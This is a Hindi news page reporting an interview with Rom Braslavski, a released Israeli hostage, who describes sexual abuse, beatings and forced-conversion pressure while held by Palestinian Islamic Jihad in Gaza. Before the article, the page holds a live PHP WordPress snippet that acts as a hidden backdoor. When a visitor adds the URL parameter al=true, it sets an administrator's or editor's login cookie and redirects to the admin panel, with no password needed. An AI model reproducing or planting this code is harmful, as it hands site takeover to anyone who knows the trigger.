// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); आतंकियों के हाथों बंधक बनाकर यातनाएँ सहने वाले की दास्तान: बंधक बनकर कराई गयी शर्मनाक हरकतों की सच्ची कहानी – प्रत्युषा आशा की नयी किरण
विदेश

आतंकियों के हाथों बंधक बनाकर यातनाएँ सहने वाले की दास्तान: बंधक बनकर कराई गयी शर्मनाक हरकतों की सच्ची कहानी

तेल अवीव

उन्होंने मेरे सारे कपड़े, मेरा अंडरवियर, सब कुछ उतार दिया. जब मैं पूरी तरह से नंगा हो गया तब…. यह कहते हुए 21 साल के शख्स की आवाज धीमी हो गई. वह थोड़ा संभले फिर बोले कि जब एक पुरुष बंधक के तौर पर मैं बिना भोजन और पानी के मर रहा था. मैंने ईश्वर से प्रार्थना की थी – मुझे बचा लो, मुझे इस संकट से बाहर निकालो. रोम ब्रास्लास्की हाल ही में हमास के चंगुल से आजाद हुए हैं. वह पहले पुरुष इजरायली बंधक हैं जिन्होंने खुलकर आरोप लगाया है कि गाजा में बंदी रहते हुए उनका यौन उत्पीड़न किया गया.  

7 अक्टूबर को उस इवेंट पर हमले के समय जब उन्हें अगवा किया गया, वह सिक्योरिटी गार्ड के तौर पर काम कर रहे थे. एक इंटरव्यू में उन्होंने फिलस्तीनी इस्लामिक जिहाद की ओर से बंधक बनाए जाने के बाद अपने साथ हुई आपबीती साझा की है. सीएनएन ने फिलिस्तीनी इस्लामिक जिहाद से इस रिपोर्ट पर संपर्क करने की कोशिश की लेकिन आतंकी संगठन की ओर से कोई जानकारी नहीं मिल पाई. इससे पहले सोसना नाम की युवती ने आरोप लगाया था कि जब वह हमास की बंधक थी तो गार्ड ने बंदूक की नोक पर उसका यौन शोषण किया. 

अब ब्रास्लास्की ने कहा है कि वह निश्चित रूप से यौन शोषण था. उन्होंने कहा कि मेरे साथ जो हुआ, वो यौन हिंसा थी और इसका मकसद मुझे अपमानित करना था. वे मेरे आत्मसम्मान पर हमला करना चाहते थे और उन्होंने वही किया. इस इंटरव्यू को पिछले हफ्ते ही रिकॉर्ड किया गया है. यह वीडियो सोशल मीडिया पर आ गया है जिसे कई इजरायली शेयर कर रहे हैं. 

वह कहते हैं कि मेरे लिए उस टाइम के बारे में बात करना काफी मुश्किल है. ब्रास्लास्की उन आखिरी 20 जीवित बंधकों में से एक हैं जिन्हें इजरायल और हमास के बीच युद्धविराम समझौते के तहत दो साल से ज्यादा समय कैद में रहने के बाद पिछले महीने रिहा किया गया. उन्हें फिलिस्तीनी इस्लामिक जिहाद संगठन ने बंधक बना रखा था, जो गाजा में हमास से संबद्ध एक फिलिस्तीनी आतंकी समूह है.

खाने के बदले धर्म बदलने को कहा

हमास के आतंकियों ने इस साल की शुरुआत में काफी कमजोर हो चुके ब्रास्लास्की का वीडियो जारी किया था. तस्वीर देखकर भावुक पिता ने कहा था कि वह अपने बेटे को पहचान नहीं पा रहे हैं. उनकी मां ने इजरायली मीडिया को बताया है कि उस पर खाना खाने (खाना देने) के बदले इस्लाम धर्म अपनाने का दबाव डाला गया था.

मैं नर्क में रहा

यौन उत्पीड़न पर ब्रास्लास्की ने कहा कि यह एक भयावह घटना थी. आप बस ईश्वर से प्रार्थना करते हैं कि यह रुक जाए. और जब मैं वहां था तो हर दिन, पिटाई… मैं खुद से कहता था कि मैं नर्क में एक दिन और जी चुका हूं. कल सुबह, मैं एक और नर्क में जागूंगा.

कुछ और बंधकों ने आरोप लगाया है कि हमास की कैद में उनके साथ यौन उत्पीड़न या दुर्व्यवहार किया गया. हालांकि हमास की तरफ से इसका खंडन किया जाता रहा है. नया खुलासा इसलिए चौंकाता है क्योंकि अब तक, केवल महिला बंधक ही आगे आई थी, पहली बार किसी पुरुष ने यह आरोप लगाया है.  

RO No. 13169/ 31

RO No. 13098/ 20

PRATYUSHAASHAKINAYIKIRAN.COM
Editor : Maya Puranik
Permanent Address : Yadu kirana store ke pass Parshuram nagar professor colony raipur cg
Email : puranikrajesh2008@gmail.com
Mobile : -91-9893051148
Website : pratyushaashakinayikiran.com

जनसम्पर्क विभाग – आरएसएस फीड